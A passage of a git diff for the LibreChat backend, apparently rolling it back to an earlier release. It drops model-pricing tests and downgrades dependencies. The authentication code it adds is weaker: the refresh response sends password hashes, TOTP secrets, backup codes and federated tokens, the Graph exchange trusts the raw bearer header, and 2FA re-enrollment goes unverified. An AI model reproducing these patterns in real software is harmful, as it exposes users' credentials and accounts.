- tokenValues['gpt-5.4'].completion,
- );
- expect(getMultiplier({ model: 'gpt-5.4-thinking', tokenType: 'prompt' })).toBe(
- tokenValues['gpt-5.4'].prompt,
- );
- expect(getMultiplier({ model: 'openai/gpt-5.4', tokenType: 'completion' })).toBe(
- tokenValues['gpt-5.4'].completion,
- );
- });
-
- it('should return the correct multiplier for gpt-5.4-pro', () => {
- expect(getMultiplier({ model: 'gpt-5.4-pro', tokenType: 'prompt' })).toBe(
- tokenValues['gpt-5.4-pro'].prompt,
- );
- expect(getMultiplier({ model: 'gpt-5.4-pro', tokenType: 'completion' })).toBe(
- tokenValues['gpt-5.4-pro'].completion,
- );
- expect(getMultiplier({ model: 'openai/gpt-5.4-pro', tokenType: 'prompt' })).toBe(
- tokenValues['gpt-5.4-pro'].prompt,
- );
- });
-
it('should return the correct multiplier for gpt-4o', () => {
const valueKey = getValueKey('gpt-4o-2024-08-06');
expect(getMultiplier({ valueKey, tokenType: 'prompt' })).toBe(tokenValues['gpt-4o'].prompt);
@@ -1404,73 +1326,6 @@ describe('getCacheMultiplier', () => {
).toBeNull();
});
- it('should return correct cache multipliers for OpenAI models', () => {
- const openaiCacheModels = [
- 'gpt-4o',
- 'gpt-4o-mini',
- 'gpt-4.1',
- 'gpt-4.1-mini',
- 'gpt-4.1-nano',
- 'gpt-5',
- 'gpt-5.1',
- 'gpt-5.2',
- 'gpt-5.3',
- 'gpt-5.4',
- 'gpt-5-mini',
- 'gpt-5-nano',
- 'o1',
- 'o1-mini',
- 'o1-preview',
- 'o3',
- 'o3-mini',
- 'o4-mini',
- ];
-
- for (const model of openaiCacheModels) {
- expect(getCacheMultiplier({ model, cacheType: 'write' })).toBe(cacheTokenValues[model].write);
- expect(getCacheMultiplier({ model, cacheType: 'read' })).toBe(cacheTokenValues[model].read);
- }
- });
-
- it('should return correct cache multipliers for OpenAI dated variants', () => {
- expect(getCacheMultiplier({ model: 'gpt-4o-2024-08-06', cacheType: 'read' })).toBe(
- cacheTokenValues['gpt-4o'].read,
- );
- expect(getCacheMultiplier({ model: 'gpt-4.1-2026-01-01', cacheType: 'read' })).toBe(
- cacheTokenValues['gpt-4.1'].read,
- );
- expect(getCacheMultiplier({ model: 'gpt-5.3-codex', cacheType: 'read' })).toBe(
- cacheTokenValues['gpt-5.3'].read,
- );
- expect(getCacheMultiplier({ model: 'openai/gpt-5.3', cacheType: 'write' })).toBe(
- cacheTokenValues['gpt-5.3'].write,
- );
- });
-
- it('should return null for pro models that do not support caching', () => {
- expect(getCacheMultiplier({ model: 'gpt-5-pro', cacheType: 'read' })).toBeNull();
- expect(getCacheMultiplier({ model: 'gpt-5-pro', cacheType: 'write' })).toBeNull();
- expect(getCacheMultiplier({ model: 'gpt-5.2-pro', cacheType: 'read' })).toBeNull();
- expect(getCacheMultiplier({ model: 'gpt-5.2-pro', cacheType: 'write' })).toBeNull();
- expect(getCacheMultiplier({ model: 'gpt-5.4-pro', cacheType: 'read' })).toBeNull();
- expect(getCacheMultiplier({ model: 'gpt-5.4-pro', cacheType: 'write' })).toBeNull();
- });
-
- it('should have consistent 10% cache read pricing for gpt-5.x models', () => {
- const gpt5CacheModels = [
- 'gpt-5',
- 'gpt-5.1',
- 'gpt-5.2',
- 'gpt-5.3',
- 'gpt-5.4',
- 'gpt-5-mini',
- 'gpt-5-nano',
- ];
- for (const model of gpt5CacheModels) {
- expect(cacheTokenValues[model].read).toBeCloseTo(cacheTokenValues[model].write * 0.1, 10);
- }
- });
-
it('should handle models with "bedrock/" prefix', () => {
expect(
getCacheMultiplier({
@@ -1490,9 +1345,6 @@ describe('getCacheMultiplier', () => {
describe('Google Model Tests', () => {
const googleModels = [
'gemini-3',
- 'gemini-3.1-pro-preview',
- 'gemini-3.1-pro-preview-customtools',
- 'gemini-3.1-flash-lite-preview',
'gemini-2.5-pro',
'gemini-2.5-flash',
'gemini-2.5-flash-lite',
@@ -1537,9 +1389,6 @@ describe('Google Model Tests', () => {
it('should map to the correct model keys', () => {
const expected = {
'gemini-3': 'gemini-3',
- 'gemini-3.1-pro-preview': 'gemini-3.1',
- 'gemini-3.1-pro-preview-customtools': 'gemini-3.1',
- 'gemini-3.1-flash-lite-preview': 'gemini-3.1-flash-lite',
'gemini-2.5-pro': 'gemini-2.5-pro',
'gemini-2.5-flash': 'gemini-2.5-flash',
'gemini-2.5-flash-lite': 'gemini-2.5-flash-lite',
@@ -1583,190 +1432,6 @@ describe('Google Model Tests', () => {
).toBe(tokenValues[expected].completion);
});
});
-
- it('should return correct prompt and completion rates for Gemini 3.1', () => {
- expect(
- getMultiplier({
- model: 'gemini-3.1-pro-preview',
- tokenType: 'prompt',
- endpoint: EModelEndpoint.google,
- }),
- ).toBe(tokenValues['gemini-3.1'].prompt);
- expect(
- getMultiplier({
- model: 'gemini-3.1-pro-preview',
- tokenType: 'completion',
- endpoint: EModelEndpoint.google,
- }),
- ).toBe(tokenValues['gemini-3.1'].completion);
- expect(
- getMultiplier({
- model: 'gemini-3.1-pro-preview-customtools',
- tokenType: 'prompt',
- endpoint: EModelEndpoint.google,
- }),
- ).toBe(tokenValues['gemini-3.1'].prompt);
- expect(
- getMultiplier({
- model: 'gemini-3.1-pro-preview-customtools',
- tokenType: 'completion',
- endpoint: EModelEndpoint.google,
- }),
- ).toBe(tokenValues['gemini-3.1'].completion);
- });
-
- it('should return correct cache rates for Gemini 3.1', () => {
- ['gemini-3.1-pro-preview', 'gemini-3.1-pro-preview-customtools'].forEach((model) => {
- expect(getCacheMultiplier({ model, cacheType: 'write' })).toBe(
- cacheTokenValues['gemini-3.1'].write,
- );
- expect(getCacheMultiplier({ model, cacheType: 'read' })).toBe(
- cacheTokenValues['gemini-3.1'].read,
- );
- });
- });
-
- it('should return correct rates for Gemini 3.1 Flash-Lite', () => {
- const model = 'gemini-3.1-flash-lite-preview';
- expect(getMultiplier({ model, tokenType: 'prompt', endpoint: EModelEndpoint.google })).toBe(
- tokenValues['gemini-3.1-flash-lite'].prompt,
- );
- expect(getMultiplier({ model, tokenType: 'completion', endpoint: EModelEndpoint.google })).toBe(
- tokenValues['gemini-3.1-flash-lite'].completion,
- );
- expect(getCacheMultiplier({ model, cacheType: 'write' })).toBe(
- cacheTokenValues['gemini-3.1-flash-lite'].write,
- );
- expect(getCacheMultiplier({ model, cacheType: 'read' })).toBe(
- cacheTokenValues['gemini-3.1-flash-lite'].read,
- );
- });
-});
-
-describe('Gemini 3.1 Premium Token Pricing', () => {
- const premiumKey = 'gemini-3.1';
- const premiumEntry = premiumTokenValues[premiumKey];
- const { threshold } = premiumEntry;
- const belowThreshold = threshold - 1;
- const aboveThreshold = threshold + 1;
- const wellAboveThreshold = threshold * 2;
-
- it('should have premium pricing defined for gemini-3.1', () => {
- expect(premiumEntry).toBeDefined();
- expect(premiumEntry.threshold).toBeDefined();
- expect(premiumEntry.prompt).toBeDefined();
- expect(premiumEntry.completion).toBeDefined();
- expect(premiumEntry.prompt).toBeGreaterThan(tokenValues[premiumKey].prompt);
- expect(premiumEntry.completion).toBeGreaterThan(tokenValues[premiumKey].completion);
- });
-
- it('should return null from getPremiumRate when inputTokenCount is below or at threshold', () => {
- expect(getPremiumRate(premiumKey, 'prompt', belowThreshold)).toBeNull();
- expect(getPremiumRate(premiumKey, 'completion', belowThreshold)).toBeNull();
- expect(getPremiumRate(premiumKey, 'prompt', threshold)).toBeNull();
- });
-
- it('should return premium rate from getPremiumRate when inputTokenCount exceeds threshold', () => {
- expect(getPremiumRate(premiumKey, 'prompt', aboveThreshold)).toBe(premiumEntry.prompt);
- expect(getPremiumRate(premiumKey, 'completion', aboveThreshold)).toBe(premiumEntry.completion);
- expect(getPremiumRate(premiumKey, 'prompt', wellAboveThreshold)).toBe(premiumEntry.prompt);
- });
-
- it('should return null from getPremiumRate when inputTokenCount is undefined or null', () => {
- expect(getPremiumRate(premiumKey, 'prompt', undefined)).toBeNull();
- expect(getPremiumRate(premiumKey, 'prompt', null)).toBeNull();
- });
-
- it('should return standard rate from getMultiplier when inputTokenCount is below threshold', () => {
- expect(
- getMultiplier({
- model: 'gemini-3.1-pro-preview',
- tokenType: 'prompt',
- inputTokenCount: belowThreshold,
- }),
- ).toBe(tokenValues[premiumKey].prompt);
- expect(
- getMultiplier({
- model: 'gemini-3.1-pro-preview',
- tokenType: 'completion',
- inputTokenCount: belowThreshold,
- }),
- ).toBe(tokenValues[premiumKey].completion);
- });
-
- it('should return premium rate from getMultiplier when inputTokenCount exceeds threshold', () => {
- expect(
- getMultiplier({
- model: 'gemini-3.1-pro-preview',
- tokenType: 'prompt',
- inputTokenCount: aboveThreshold,
- }),
- ).toBe(premiumEntry.prompt);
- expect(
- getMultiplier({
- model: 'gemini-3.1-pro-preview',
- tokenType: 'completion',
- inputTokenCount: aboveThreshold,
- }),
- ).toBe(premiumEntry.completion);
- });
-
- it('should return standard rate from getMultiplier when inputTokenCount is exactly at threshold', () => {
- expect(
- getMultiplier({
- model: 'gemini-3.1-pro-preview',
- tokenType: 'prompt',
- inputTokenCount: threshold,
- }),
- ).toBe(tokenValues[premiumKey].prompt);
- });
-
- it('should apply premium pricing to customtools variant above threshold', () => {
- expect(
- getMultiplier({
- model: 'gemini-3.1-pro-preview-customtools',
- tokenType: 'prompt',
- inputTokenCount: aboveThreshold,
- }),
- ).toBe(premiumEntry.prompt);
- expect(
- getMultiplier({
- model: 'gemini-3.1-pro-preview-customtools',
- tokenType: 'completion',
- inputTokenCount: aboveThreshold,
- }),
- ).toBe(premiumEntry.completion);
- });
-
- it('should use standard rate when inputTokenCount is not provided', () => {
- expect(getMultiplier({ model: 'gemini-3.1-pro-preview', tokenType: 'prompt' })).toBe(
- tokenValues[premiumKey].prompt,
- );
- expect(getMultiplier({ model: 'gemini-3.1-pro-preview', tokenType: 'completion' })).toBe(
- tokenValues[premiumKey].completion,
- );
- });
-
- it('should apply premium pricing through getMultiplier with valueKey path', () => {
- const valueKey = getValueKey('gemini-3.1-pro-preview');
- expect(valueKey).toBe(premiumKey);
- expect(getMultiplier({ valueKey, tokenType: 'prompt', inputTokenCount: aboveThreshold })).toBe(
- premiumEntry.prompt,
- );
- expect(
- getMultiplier({ valueKey, tokenType: 'completion', inputTokenCount: aboveThreshold }),
- ).toBe(premiumEntry.completion);
- });
-
- it('should apply standard pricing through getMultiplier with valueKey path when below threshold', () => {
- const valueKey = getValueKey('gemini-3.1-pro-preview');
- expect(getMultiplier({ valueKey, tokenType: 'prompt', inputTokenCount: belowThreshold })).toBe(
- tokenValues[premiumKey].prompt,
- );
- expect(
- getMultiplier({ valueKey, tokenType: 'completion', inputTokenCount: belowThreshold }),
- ).toBe(tokenValues[premiumKey].completion);
- });
});
describe('Grok Model Tests - Pricing', () => {
diff --git a/api/package.json b/api/package.json
index aea98b3f8d..1c40ddb337 100644
--- a/api/package.json
+++ b/api/package.json
@@ -1,6 +1,6 @@
{
"name": "@librechat/backend",
- "version": "v0.8.4",
+ "version": "v0.8.3-rc1",
"description": "",
"scripts": {
"start": "echo 'please run this from the root directory'",
@@ -44,14 +44,13 @@
"@google/genai": "^1.19.0",
"@keyv/redis": "^4.3.3",
"@langchain/core": "^0.3.80",
- "@librechat/agents": "^3.1.57",
+ "@librechat/agents": "^3.1.50",
"@librechat/api": "*",
"@librechat/data-schemas": "*",
"@microsoft/microsoft-graph-client": "^3.0.7",
- "@modelcontextprotocol/sdk": "^1.27.1",
+ "@modelcontextprotocol/sdk": "^1.26.0",
"@node-saml/passport-saml": "^5.1.0",
"@smithy/node-http-handler": "^4.4.5",
- "ai-tokenizer": "^1.0.6",
"axios": "^1.13.5",
"bcryptjs": "^2.4.3",
"compression": "^1.8.1",
@@ -64,10 +63,10 @@
"eventsource": "^3.0.2",
"express": "^5.2.1",
"express-mongo-sanitize": "^2.2.0",
- "express-rate-limit": "^8.3.0",
+ "express-rate-limit": "^8.2.1",
"express-session": "^1.18.2",
"express-static-gzip": "^2.2.0",
- "file-type": "^21.3.2",
+ "file-type": "^18.7.0",
"firebase": "^11.0.2",
"form-data": "^4.0.4",
"handlebars": "^4.7.7",
@@ -81,14 +80,13 @@
"klona": "^2.0.6",
"librechat-data-provider": "*",
"lodash": "^4.17.23",
- "mammoth": "^1.11.0",
"mathjs": "^15.1.0",
"meilisearch": "^0.38.0",
"memorystore": "^1.6.7",
"mime": "^3.0.0",
"module-alias": "^2.2.3",
"mongoose": "^8.12.1",
- "multer": "^2.1.1",
+ "multer": "^2.0.2",
"nanoid": "^3.3.7",
"node-fetch": "^2.7.0",
"nodemailer": "^7.0.11",
@@ -104,16 +102,14 @@
"passport-jwt": "^4.0.1",
"passport-ldapauth": "^3.0.1",
"passport-local": "^1.0.0",
- "pdfjs-dist": "^5.4.624",
"rate-limit-redis": "^4.2.0",
"sharp": "^0.33.5",
+ "tiktoken": "^1.0.15",
"traverse": "^0.6.7",
"ua-parser-js": "^1.0.36",
- "undici": "^7.24.1",
+ "undici": "^7.18.2",
"winston": "^3.11.0",
"winston-daily-rotate-file": "^5.0.0",
- "xlsx": "https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz",
- "yauzl": "^3.2.1",
"zod": "^3.22.4"
},
"devDependencies": {
diff --git a/api/server/cleanup.js b/api/server/cleanup.js
index 364c02cd8a..c482a2267e 100644
--- a/api/server/cleanup.js
+++ b/api/server/cleanup.js
@@ -35,6 +35,7 @@ const graphPropsToClean = [
'tools',
'signal',
'config',
+ 'agentContexts',
'messages',
'contentData',
'stepKeyIds',
@@ -276,16 +277,7 @@ function disposeClient(client) {
if (client.run) {
if (client.run.Graph) {
- if (typeof client.run.Graph.clearHeavyState === 'function') {
- client.run.Graph.clearHeavyState();
- } else {
- client.run.Graph.resetValues();
- }
-
- if (client.run.Graph.agentContexts) {
- client.run.Graph.agentContexts.clear();
- client.run.Graph.agentContexts = null;
- }
+ client.run.Graph.resetValues();
graphPropsToClean.forEach((prop) => {
if (client.run.Graph[prop] !== undefined) {
diff --git a/api/server/controllers/AuthController.js b/api/server/controllers/AuthController.js
index eb44feffa4..588391b535 100644
--- a/api/server/controllers/AuthController.js
+++ b/api/server/controllers/AuthController.js
@@ -18,7 +18,7 @@ const {
findUser,
} = require('~/models');
const { getGraphApiToken } = require('~/server/services/GraphTokenService');
-const { getOpenIdConfig, getOpenIdEmail } = require('~/strategies');
+const { getOpenIdConfig } = require('~/strategies');
const registrationController = async (req, res) => {
try {
@@ -87,7 +87,7 @@ const refreshController = async (req, res) => {
const claims = tokenset.claims();
const { user, error, migration } = await findOpenIDUser({
findUser,
- email: getOpenIdEmail(claims),
+ email: claims.email,
openidId: claims.sub,
idOnTheSource: claims.oid,
strategyName: 'refreshController',
@@ -119,8 +119,14 @@ const refreshController = async (req, res) => {
const token = setOpenIDAuthTokens(tokenset, req, res, user._id.toString(), refreshToken);
- const { password: _pw, __v: _v, totpSecret: _ts, backupCodes: _bc, ...safeUser } = user;
- return res.status(200).send({ token, user: safeUser });
+ user.federatedTokens = {
+ access_token: tokenset.access_token,
+ id_token: tokenset.id_token,
+ refresh_token: refreshToken,
+ expires_at: claims.exp,
+ };
+
+ return res.status(200).send({ token, user });
} catch (error) {
logger.error('[refreshController] OpenID token refresh error', error);
return res.status(403).send('Invalid OpenID refresh token');
@@ -190,6 +196,15 @@ const graphTokenController = async (req, res) => {
});
}
+ // Extract access token from Authorization header
+ const authHeader = req.headers.authorization;
+ if (!authHeader || !authHeader.startsWith('Bearer ')) {
+ return res.status(401).json({
+ message: 'Valid authorization token required',
+ });
+ }
+
+ // Get scopes from query parameters
const scopes = req.query.scopes;
if (!scopes) {
return res.status(400).json({
@@ -197,13 +212,7 @@ const graphTokenController = async (req, res) => {
});
}
- const accessToken = req.user.federatedTokens?.access_token;
- if (!accessToken) {
- return res.status(401).json({
- message: 'No federated access token available for token exchange',
- });
- }
-
+ const accessToken = authHeader.substring(7); // Remove 'Bearer ' prefix
const tokenResponse = await getGraphApiToken(req.user, accessToken, scopes);
res.json(tokenResponse);
diff --git a/api/server/controllers/AuthController.spec.js b/api/server/controllers/AuthController.spec.js
deleted file mode 100644
index 964947def9..0000000000
--- a/api/server/controllers/AuthController.spec.js
+++ /dev/null
@@ -1,318 +0,0 @@
-jest.mock('@librechat/data-schemas', () => ({
- logger: { error: jest.fn(), debug: jest.fn(), warn: jest.fn(), info: jest.fn() },
-}));
-jest.mock('~/server/services/GraphTokenService', () => ({
- getGraphApiToken: jest.fn(),
-}));
-jest.mock('~/server/services/AuthService', () => ({
- requestPasswordReset: jest.fn(),
- setOpenIDAuthTokens: jest.fn(),
- resetPassword: jest.fn(),
- setAuthTokens: jest.fn(),
- registerUser: jest.fn(),
-}));
-jest.mock('~/strategies', () => ({ getOpenIdConfig: jest.fn(), getOpenIdEmail: jest.fn() }));
-jest.mock('openid-client', () => ({ refreshTokenGrant: jest.fn() }));
-jest.mock('~/models', () => ({
- deleteAllUserSessions: jest.fn(),
- getUserById: jest.fn(),
- findSession: jest.fn(),
- updateUser: jest.fn(),
- findUser: jest.fn(),
-}));
-jest.mock('@librechat/api', () => ({
- isEnabled: jest.fn(),
- findOpenIDUser: jest.fn(),
-}));
-
-const openIdClient = require('openid-client');
-const { isEnabled, findOpenIDUser } = require('@librechat/api');
-const { graphTokenController, refreshController } = require('./AuthController');
-const { getGraphApiToken } = require('~/server/services/GraphTokenService');
-const { setOpenIDAuthTokens } = require('~/server/services/AuthService');
-const { getOpenIdConfig, getOpenIdEmail } = require('~/strategies');
-const { updateUser } = require('~/models');
-
-describe('graphTokenController', () => {
- let req, res;
-
- beforeEach(() => {
- jest.clearAllMocks();
- isEnabled.mockReturnValue(true);
-
- req = {
- user: {
- openidId: 'oid-123',
- provider: 'openid',
- federatedTokens: {
- access_token: 'federated-access-token',
- id_token: 'federated-id-token',
- },
- },
- headers: { authorization: 'Bearer app-jwt-which-is-id-token' },
- query: { scopes: 'https://graph.microsoft.com/.default' },
- };
-
- res = {
- status: jest.fn().mockReturnThis(),
- json: jest.fn(),
- };
-
- getGraphApiToken.mockResolvedValue({
- access_token: 'graph-access-token',
- token_type: 'Bearer',
- expires_in: 3600,
- });
- });
-
- it('should pass federatedTokens.access_token as OBO assertion, not the auth header bearer token', async () => {
- await graphTokenController(req, res);
-
- expect(getGraphApiToken).toHaveBeenCalledWith(
- req.user,
- 'federated-access-token',
- 'https://graph.microsoft.com/.default',
- );
- expect(getGraphApiToken).not.toHaveBeenCalledWith(
- expect.anything(),
- 'app-jwt-which-is-id-token',
- expect.anything(),
- );
- });
-
- it('should return the graph token response on success', async () => {
- await graphTokenController(req, res);
-
- expect(res.json).toHaveBeenCalledWith({
- access_token: 'graph-access-token',
- token_type: 'Bearer',
- expires_in: 3600,
- });
- });
-
- it('should return 403 when user is not authenticated via Entra ID', async () => {
- req.user.provider = 'google';
- req.user.openidId = undefined;
-
- await graphTokenController(req, res);
-
- expect(res.status).toHaveBeenCalledWith(403);
- expect(getGraphApiToken).not.toHaveBeenCalled();
- });
-
- it('should return 403 when OPENID_REUSE_TOKENS is not enabled', async () => {
- isEnabled.mockReturnValue(false);
-
- await graphTokenController(req, res);
-
- expect(res.status).toHaveBeenCalledWith(403);
- expect(getGraphApiToken).not.toHaveBeenCalled();
- });
-
- it('should return 400 when scopes query param is missing', async () => {
- req.query.scopes = undefined;
-
- await graphTokenController(req, res);
-
- expect(res.status).toHaveBeenCalledWith(400);
- expect(getGraphApiToken).not.toHaveBeenCalled();
- });
-
- it('should return 401 when federatedTokens.access_token is missing', async () => {
- req.user.federatedTokens = {};
-
- await graphTokenController(req, res);
-
- expect(res.status).toHaveBeenCalledWith(401);
- expect(getGraphApiToken).not.toHaveBeenCalled();
- });
-
- it('should return 401 when federatedTokens is absent entirely', async () => {
- req.user.federatedTokens = undefined;
-
- await graphTokenController(req, res);
-
- expect(res.status).toHaveBeenCalledWith(401);
- expect(getGraphApiToken).not.toHaveBeenCalled();
- });
-
- it('should return 500 when getGraphApiToken throws', async () => {
- getGraphApiToken.mockRejectedValue(new Error('OBO exchange failed'));
-
- await graphTokenController(req, res);
-
- expect(res.status).toHaveBeenCalledWith(500);
- expect(res.json).toHaveBeenCalledWith({
- message: 'Failed to obtain Microsoft Graph token',
- });
- });
-});
-
-describe('refreshController – OpenID path', () => {
- const mockTokenset = {
- claims: jest.fn(),
- access_token: 'new-access',
- id_token: 'new-id',
- refresh_token: 'new-refresh',
- };
-
- const baseClaims = {
- sub: 'oidc-sub-123',
- oid: 'oid-456',
- email: 'user@example.com',
- exp: 9999999999,
- };
-
- const defaultUser = {
- _id: 'user-db-id',
- email: baseClaims.email,
- openidId: baseClaims.sub,
- password: '$2b$10$hashedpassword',
- __v: 0,
- totpSecret: 'encrypted-totp-secret',
- backupCodes: ['hashed-code-1', 'hashed-code-2'],
- };
-
- let req, res;
-
- beforeEach(() => {
- jest.clearAllMocks();
-
- isEnabled.mockReturnValue(true);
- getOpenIdConfig.mockReturnValue({ some: 'config' });
- openIdClient.refreshTokenGrant.mockResolvedValue(mockTokenset);
- mockTokenset.claims.mockReturnValue(baseClaims);
- getOpenIdEmail.mockReturnValue(baseClaims.email);
- setOpenIDAuthTokens.mockReturnValue('new-app-token');
- findOpenIDUser.mockResolvedValue({ user: { ...defaultUser }, error: null, migration: false });
- updateUser.mockResolvedValue({});
-
- req = {
- headers: { cookie: 'token_provider=openid; refreshToken=stored-refresh' },
- session: {},
- };
-
- res = {
- status: jest.fn().mockReturnThis(),
- send: jest.fn().mockReturnThis(),
- redirect: jest.fn(),
- };
- });
-
- it('should call getOpenIdEmail with token claims and use result for findOpenIDUser', async () => {
- await refreshController(req, res);
-
- expect(getOpenIdEmail).toHaveBeenCalledWith(baseClaims);
- expect(findOpenIDUser).toHaveBeenCalledWith(
- expect.objectContaining({ email: baseClaims.email }),
- );
- expect(res.status).toHaveBeenCalledWith(200);
- });
-
- it('should use OPENID_EMAIL_CLAIM-resolved value when claim is present in token', async () => {
- const claimsWithUpn = { ...baseClaims, upn: 'user@corp.example.com' };
- mockTokenset.claims.mockReturnValue(claimsWithUpn);
- getOpenIdEmail.mockReturnValue('user@corp.example.com');
-
- const user = {
- _id: 'user-db-id',
- email: 'user@corp.example.com',
- openidId: baseClaims.sub,
- };
- findOpenIDUser.mockResolvedValue({ user, error: null, migration: false });
-
- await refreshController(req, res);
-
- expect(getOpenIdEmail).toHaveBeenCalledWith(claimsWithUpn);
- expect(findOpenIDUser).toHaveBeenCalledWith(
- expect.objectContaining({ email: 'user@corp.example.com' }),
- );
- expect(res.status).toHaveBeenCalledWith(200);
- });
-
- it('should fall back to claims.email when configured claim is absent from token claims', async () => {
- getOpenIdEmail.mockReturnValue(baseClaims.email);
-
- await refreshController(req, res);
-
- expect(findOpenIDUser).toHaveBeenCalledWith(
- expect.objectContaining({ email: baseClaims.email }),
- );
- });
-
- it('should not expose sensitive fields or federatedTokens in refresh response', async () => {
- await refreshController(req, res);
-
- const sentPayload = res.send.mock.calls[0][0];
- expect(sentPayload).toEqual({
- token: 'new-app-token',
- user: expect.objectContaining({
- _id: 'user-db-id',
- email: baseClaims.email,
- openidId: baseClaims.sub,
- }),
- });
- expect(sentPayload.user).not.toHaveProperty('federatedTokens');
- expect(sentPayload.user).not.toHaveProperty('password');
- expect(sentPayload.user).not.toHaveProperty('totpSecret');
- expect(sentPayload.user).not.toHaveProperty('backupCodes');
- expect(sentPayload.user).not.toHaveProperty('__v');
- });
-
- it('should update openidId when migration is triggered on refresh', async () => {
- const user = { _id: 'user-db-id', email: baseClaims.email, openidId: null };
- findOpenIDUser.mockResolvedValue({ user, error: null, migration: true });
-
- await refreshController(req, res);
-
- expect(updateUser).toHaveBeenCalledWith(
- 'user-db-id',
- expect.objectContaining({ provider: 'openid', openidId: baseClaims.sub }),
- );
- expect(res.status).toHaveBeenCalledWith(200);
- });
-
- it('should return 401 and redirect to /login when findOpenIDUser returns no user', async () => {
- findOpenIDUser.mockResolvedValue({ user: null, error: null, migration: false });
-
- await refreshController(req, res);
-
- expect(res.status).toHaveBeenCalledWith(401);
- expect(res.redirect).toHaveBeenCalledWith('/login');
- });
-
- it('should return 401 and redirect when findOpenIDUser returns an error', async () => {
- findOpenIDUser.mockResolvedValue({ user: null, error: 'AUTH_FAILED', migration: false });
-
- await refreshController(req, res);
-
- expect(res.status).toHaveBeenCalledWith(401);
- expect(res.redirect).toHaveBeenCalledWith('/login');
- });
-
- it('should skip OpenID path when token_provider is not openid', async () => {
- req.headers.cookie = 'token_provider=local; refreshToken=some-token';
-
- await refreshController(req, res);
-
- expect(openIdClient.refreshTokenGrant).not.toHaveBeenCalled();
- });
-
- it('should skip OpenID path when OPENID_REUSE_TOKENS is disabled', async () => {
- isEnabled.mockReturnValue(false);
-
- await refreshController(req, res);
-
- expect(openIdClient.refreshTokenGrant).not.toHaveBeenCalled();
- });
-
- it('should return 200 with token not provided when refresh token is absent', async () => {
- req.headers.cookie = 'token_provider=openid';
- req.session = {};
-
- await refreshController(req, res);
-
- expect(res.status).toHaveBeenCalledWith(200);
- expect(res.send).toHaveBeenCalledWith('Refresh token not provided');
- });
-});
diff --git a/api/server/controllers/PermissionsController.js b/api/server/controllers/PermissionsController.js
index 16930c5139..51993d083c 100644
--- a/api/server/controllers/PermissionsController.js
+++ b/api/server/controllers/PermissionsController.js
@@ -24,7 +24,7 @@ const {
entraIdPrincipalFeatureEnabled,
searchEntraIdPrincipals,
} = require('~/server/services/GraphApiService');
-const { Agent, AclEntry, AccessRole, User } = require('~/db/models');
+const { AclEntry, AccessRole } = require('~/db/models');
/**
* Generic controller for resource permission endpoints
@@ -43,28 +43,6 @@ const validateResourceType = (resourceType) => {
}
};
-/**
- * Removes an agent from the favorites of specified users (fire-and-forget).
- * Both AGENT and REMOTE_AGENT resource types share the Agent collection.
- * @param {string} resourceId - The agent's MongoDB ObjectId hex string
- * @param {string[]} userIds - User ObjectId strings whose favorites should be cleaned
- */
-const removeRevokedAgentFromFavorites = (resourceId, userIds) =>
- Agent.findOne({ _id: resourceId }, { id: 1 })
- .lean()
- .then((agent) => {
- if (!agent) {
- return;
- }
- return User.updateMany(
- { _id: { $in: userIds }, 'favorites.agentId': agent.id },
- { $pull: { favorites: { agentId: agent.id } } },
- );
- })
- .catch((err) => {
- logger.error('[removeRevokedAgentFromFavorites] Error cleaning up favorites', err);
- });
-
/**
* Bulk update permissions for a resource (grant, update, remove)
* @route PUT /api/{resourceType}/{resourceId}/permissions
@@ -177,16 +155,6 @@ const updateResourcePermissions = async (req, res) => {
grantedBy: userId,
});
- const isAgentResource =
- resourceType === ResourceType.AGENT || resourceType === ResourceType.REMOTE_AGENT;
- const revokedUserIds = results.revoked
- .filter((p) => p.type === PrincipalType.USER && p.id)
- .map((p) => p.id);
-
- if (isAgentResource && revokedUserIds.length > 0) {
- removeRevokedAgentFromFavorites(resourceId, revokedUserIds);
- }
-
/** @type {TUpdateResourcePermissionsResponse} */
const response = {
message: 'Permissions updated successfully',
diff --git a/api/server/controllers/TwoFactorController.js b/api/server/controllers/TwoFactorController.js
index 18a0ee3f5a..fde5965261 100644
--- a/api/server/controllers/TwoFactorController.js
+++ b/api/server/controllers/TwoFactorController.js
@@ -1,6 +1,5 @@
const { encryptV3, logger } = require('@librechat/data-schemas');
const {
- verifyOTPOrBackupCode,
generateBackupCodes,
generateTOTPSecret,
verifyBackupCode,
@@ -14,42 +13,24 @@ const safeAppTitle = (process.env.APP_TITLE || 'LibreChat').replace(/\s+/g, '');
/**
* Enable 2FA for the user by generating a new TOTP secret and backup codes.
* The secret is encrypted and stored, and 2FA is marked as disabled until confirmed.
- * If 2FA is already enabled, requires OTP or backup code verification to re-enroll.
*/
const enable2FA = async (req, res) => {
try {
const userId = req.user.id;
- const existingUser = await getUserById(
- userId,
- '+totpSecret +backupCodes _id twoFactorEnabled email',
- );
-
- if (existingUser && existingUser.twoFactorEnabled) {
- const { token, backupCode } = req.body;
- const result = await verifyOTPOrBackupCode({
- user: existingUser,
- token,
- backupCode,
- persistBackupUse: false,
- });
-
- if (!result.verified) {
- const msg = result.message ?? 'TOTP token or backup code is required to re-enroll 2FA';
- return res.status(result.status ?? 400).json({ message: msg });
- }
- }
-
const secret = generateTOTPSecret();
const { plainCodes, codeObjects } = await generateBackupCodes();
+
+ // Encrypt the secret with v3 encryption before saving.
const encryptedSecret = encryptV3(secret);
+ // Update the user record: store the secret & backup codes and set twoFactorEnabled to false.
const user = await updateUser(userId, {
- pendingTotpSecret: encryptedSecret,
- pendingBackupCodes: codeObjects,
+ totpSecret: encryptedSecret,
+ backupCodes: codeObjects,
+ twoFactorEnabled: false,
});
- const email = user.email || (existingUser && existingUser.email) || '';
- const otpauthUrl = `otpauth://totp/${safeAppTitle}:${email}?secret=${secret}&issuer=${safeAppTitle}`;
+ const otpauthUrl = `otpauth://totp/${safeAppTitle}:${user.email}?secret=${secret}&issuer=${safeAppTitle}`;
return res.status(200).json({ otpauthUrl, backupCodes: plainCodes });
} catch (err) {
@@ -65,14 +46,13 @@ const verify2FA = async (req, res) => {
try {
const userId = req.user.id;
const { token, backupCode } = req.body;
- const user = await getUserById(userId, '+totpSecret +pendingTotpSecret +backupCodes _id');
- const secretSource = user?.pendingTotpSecret ?? user?.totpSecret;
+ const user = await getUserById(userId, '_id totpSecret backupCodes');
- if (!user || !secretSource) {
+ if (!user || !user.totpSecret) {
return res.status(400).json({ message: '2FA not initiated' });
}
- const secret = await getTOTPSecret(secretSource);
+ const secret = await getTOTPSecret(user.totpSecret);
let isVerified = false;
if (token) {
@@ -98,28 +78,15 @@ const confirm2FA = async (req, res) => {
try {
const userId = req.user.id;
const { token } = req.body;
- const user = await getUserById(
- userId,
